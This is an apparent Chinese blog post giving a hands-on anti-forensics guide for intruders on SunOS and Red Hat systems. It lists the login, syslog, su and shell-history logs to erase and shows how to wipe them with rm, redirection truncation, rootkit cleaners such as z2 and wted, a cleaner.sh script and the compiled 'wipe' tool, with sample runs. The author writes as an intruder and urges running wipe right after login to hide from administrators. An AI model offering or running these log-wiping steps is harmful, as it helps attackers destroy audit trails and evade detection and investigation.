清除系统日志

由于涉及的系统广泛的问题,不可能将所有unix类系统的日志说清楚,但它们大多是差不多的,下面我只用常见的sunos & redhat做介绍.其它的系统请查看相关资料.

unix系统日志文件通常是存放在"/var/log and /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况.如:cat /etc/syslog.conf

其中sunos的在/var/log 和 /var/adm下.还有/usr/adm为/var/adm的的链接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日志样本.

# ls /var/adm

acct    log      messages.1    passwd    sulog   vold.log

aculog   messages   messages.2    sa      utmp    wtmp

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx



# ls /var/log

authlog      syslog    syslog.1   syslog.3

sysidconfig.log  syslog.0   syslog.2   syslog.4

下面的是redhat6.2中的日志样本.

# ls /var/log

boot.log   dmesg       messages.2    secure     uucp

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp

boot.log.2  httpd       messages.4    secure.2    wtmp.1

boot.log.3  lastlog      netconf.log   secure.3    xferlog

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1

cron     maillog      netconf.log.2  sendmail.st   xferlog.2

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4

cron.3    maillog.3     news       spooler.2

cron.4    maillog.4     normal.log    spooler.3

daily.log   messages     realtime.log   spooler.4

daily.sh   messages.1     samba       transfer.log

# ls /var/run

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache

crond.pid   identd.pid   netreport   runlevel.dir   utmp

ftp.pids-all inetd.pid   news      syslogd.pid

一般我们要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog 

<script type="text/javascript"> </script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script> name="google_ads_frame" marginwidth="0" marginheight="0" src="http://pagead2.googlesyndication.com/pagead/ads?client=undefined&dt=1193462581468&lmt=1193462581&format=undefinedxundefined&output=html&correlator=1193462581453&url=http%3A%2F%2Fblog.csdn.net%2Flinkboy2004%2Farchive%2F2007%2F08%2F08%2F1731774.aspx&ref=http%3A%2F%2Fblog.csdn.net%2Flinkboy2004%2Fcategory%2F282891.aspx&cc=29&ga_vid=1978547885.1192329841&ga_sid=1193462582&ga_hid=1341876795&ga_fc=true&flash=9&u_h=768&u_w=1280&u_ah=738&u_aw=1280&u_cd=32&u_tz=480&u_java=true" frameborder="0" scrolling="no" allowtransparency="allowtransparency">
sulog

此外,各种shell还会记录用户使用的命令历史,它使用用户主目录下的文件来记录这些命令历史,通常这个文件的名字为.sh_history(ksh),.history(csh),或.bash_history(bash)等。



一般把以上说的日志给擦一下,就可以了.:)

下面我来说说上面这些我们要清除的日志的相关资料和清除方法.更详细的资料和其他的日志请你查看相关资料.

首先我们说说这几种日志的功能.->它记录的是什么?

lastlog

lastlog记录每个用户的最近一次的登陆时间和每个用户的最初目的地.

当一个用户登陆到unix系统时,注册程序在lastlog文件中查找该用户的uid ,如果该程序找到了该用户的uid,unix就会显示最后一次登陆的时间和TTY(终端号)

下面是一个例子:

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsys tems Inc. SunOS 5.7 Generic October 1998 $

.然后注册程序用新的登陆时间和TTY信息更新lastlog文件,而且该程序带更新utmp wtmp.文件.

utmp

utmp 日志记录以前登陆到系统中的所有用户.这个文件随着用进入和离开系统而不断的变化.它还会为系统中的用户保持很长的历史记录,utmp日志通常存储在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以访问这个文件.:)比如finger users.现在的utmp一般都有一个utmpx文件做为日志记录的补充.别忘了擦这个pp哦.:)

wtmp

wtmp文件记录用户登陆和退出事件,它和utmp类似.但它随着登陆的次数的增加它会变得越来越大.有些系统的ftp访问也在这个文件里记录.同时它也记录正常的系统退出时间.可以使用last和ac命令访问它.

syslog & messages

通过查看/etc/syslog.conf我们可以知道syslog记录些什么.:)

很多各种各样的程序产生的日志都由它记录.

同时它还有一个syslogd进程为它服务.

在缺省时,它把大多的信息传给/var/adm/messages

sulog

sulog为切换用户命令su的使用记录日志.

他通常在/var/adm/sulog

如果你在机器上用过su命令,别忘了清除掉哦.:)

shell记录

.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell执行时的历史记录.记录用户执行的命令.它一般存在于用户的主目录.别忘了去根目录看看哦.我入侵机器时,也经常能发现别人的hacking记录哦.:)所以你一定要记得清除.

1.日志都是一些文本形式的文件.最笨的方法是用文本编辑器来编辑日志文件.删除相关的记录.来达到擦拭脚印和隐藏自己的效果.

比如用vi等

但这样做是很笨的.太麻烦,工作量太大.

如果有50台机器要你处理,那么,呵呵....看你忙到什么时候

:)

2.以前我刚开始学unix时.经常用rm -f 来删掉日志.比如rm -f /usr/adm/lastlog

呵呵 

这样做是很蠢的.

更容易被管理员发现有人入侵.但是,相对来说自己还是保护好了.:)

可以用在一些不太重要的机器上.

3.用 > 定向符清除.

比如:

#cat > /usr/log/lastlog

   ->这里输入你要的写的东西.最好伪装得像一些,也可以不输入哦.:)

^d ->这里的^d是按键 ctrl + d.

#

如果上战场没有带日志清除工具,我一般也用这个清除的.:)省事

要不找几个旧的日志覆盖它:)

==========================================================

4.当然最好的是用日志清除工具.

输入几个命令让程序帮你擦:)

a.常见的日志清除工具.

  一般的rootkit包里有的:z2.c 和wted.c

很容易找到.

网上的教程很多都是介绍这两个工具的使用的.

这里我就不再论述了.:)节省时间.

b.这里我提供一个我以前有段时间常用的日志清除脚本.

在HUCkit.zip里的 cleaner.sh

我们这样使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中,username 为你要清除日志的的用户帐号.

:)

比如:

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

这个用/bin/sh的脚本有一个问题,

就是必须你要有uid =0 的权限.即root.

euid = 0 会不能正常工作,报告权限不够.

解决方法是:

大家可以改里面的#!/usr/sh 为你设置好的suid shell.:)

这个脚本有一个好处,就是不用编译,并且可以在多个系统下面工作.如redhat sunos等等.

还可以用

cat > clog.sh

来方便的拷贝到主机.不用ftp 去取.:)

还有一个命令可以清除大部分的日志.

这也是我常用它的原因.

但它做的太干净了,把以前的记录也删除了.:(

有时候也会不太干净.比如lastlog.utmp可能有时会清除不了.

所以,现在我一般结合两个工具来清除日志.

好的一般放在后面介绍.:)

下面介绍一个我觉得比较好的另一个日志清除器.:)

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

:)

下面我们来看看.(示范工作平台sunos 5.7)

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

总数32

drwxr-xr-x  2  root  root     512   2月 4 20:48   .

drwxrwxrwx  6  root  other    1024   2月 4 18:40   ..

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root     498   1997 1月 9   README

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c

# make

Wipe v0.01 !

Usage: 'make ' where sys tem types are:

   linux freebsd sunos4 solaris2 ultrix

   aix irix digital bsdi netbsd hpux

#

我们可以看到它需要出示 系统的选项.这些选项是:

   linux freebsd sunos4 solaris2 ultrix

   aix irix digital bsdi netbsd hpux

我们要清除相关的系统日志就必须在相同的系统下编译.

比如我们要在redhat等linux下编译,就应为: make linux

在freebsd下编译就应为:make freebsd

在sunos 4下编译,就应为: make sunos4

在sunos 5以上的系统里编译,就应为:make solaris2

这里我们用make solaris2

sunos 5 以上就叫做solaris了.

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

总数94

drwxr-xr-x  2  root  root   512   2月 4 21:03   .

drwxrwxrwx  6  root  other  1024   2月 4 18:40   ..

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root    498   1997 1月 9   README

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

   Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

   Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

   entry : wipe l [username] [tty] [time] [host]

   Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到编译好的wipe的使用方法.

其中 u 选项为 utmp utmpx 日志擦除..

w 选项为 wtmp wtmpx 日志擦除.

l 选项为 lastlog 日志擦除.

a 为/var/adm/pacct日志擦除.(一般不用这个.:)

其中[tty]为终端号.为在有多个相同帐号同时登陆时,清除日志的使用选项.当然是要你的终端号哦.:)

大家可以用 w 命令查终端号.

比如:

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

gao    pts/1   下午 7:40        3          w

下面的是我在sunos 5.7上的具体的使用情况.:)

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

gao    pts/1   下午 7:40        3          w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了.

lastlog utmp utmpx wtmp wtmpx 擦完了.

大家看到 wipe u gao 了吗?

为什么我打了个w命令呢?

呵呵

想想.

所以我们一般在登陆进系统后就运行 wipe u gao.来隐藏自己.:)

当然我们不要忘了shell 记录哦.

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一个脚本加一个程序.再加一个操作,能保证你基本安全了.:)

当然如果你对系统有进一步了解,就能发现.这样清除还是有问题的.:) 
 
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值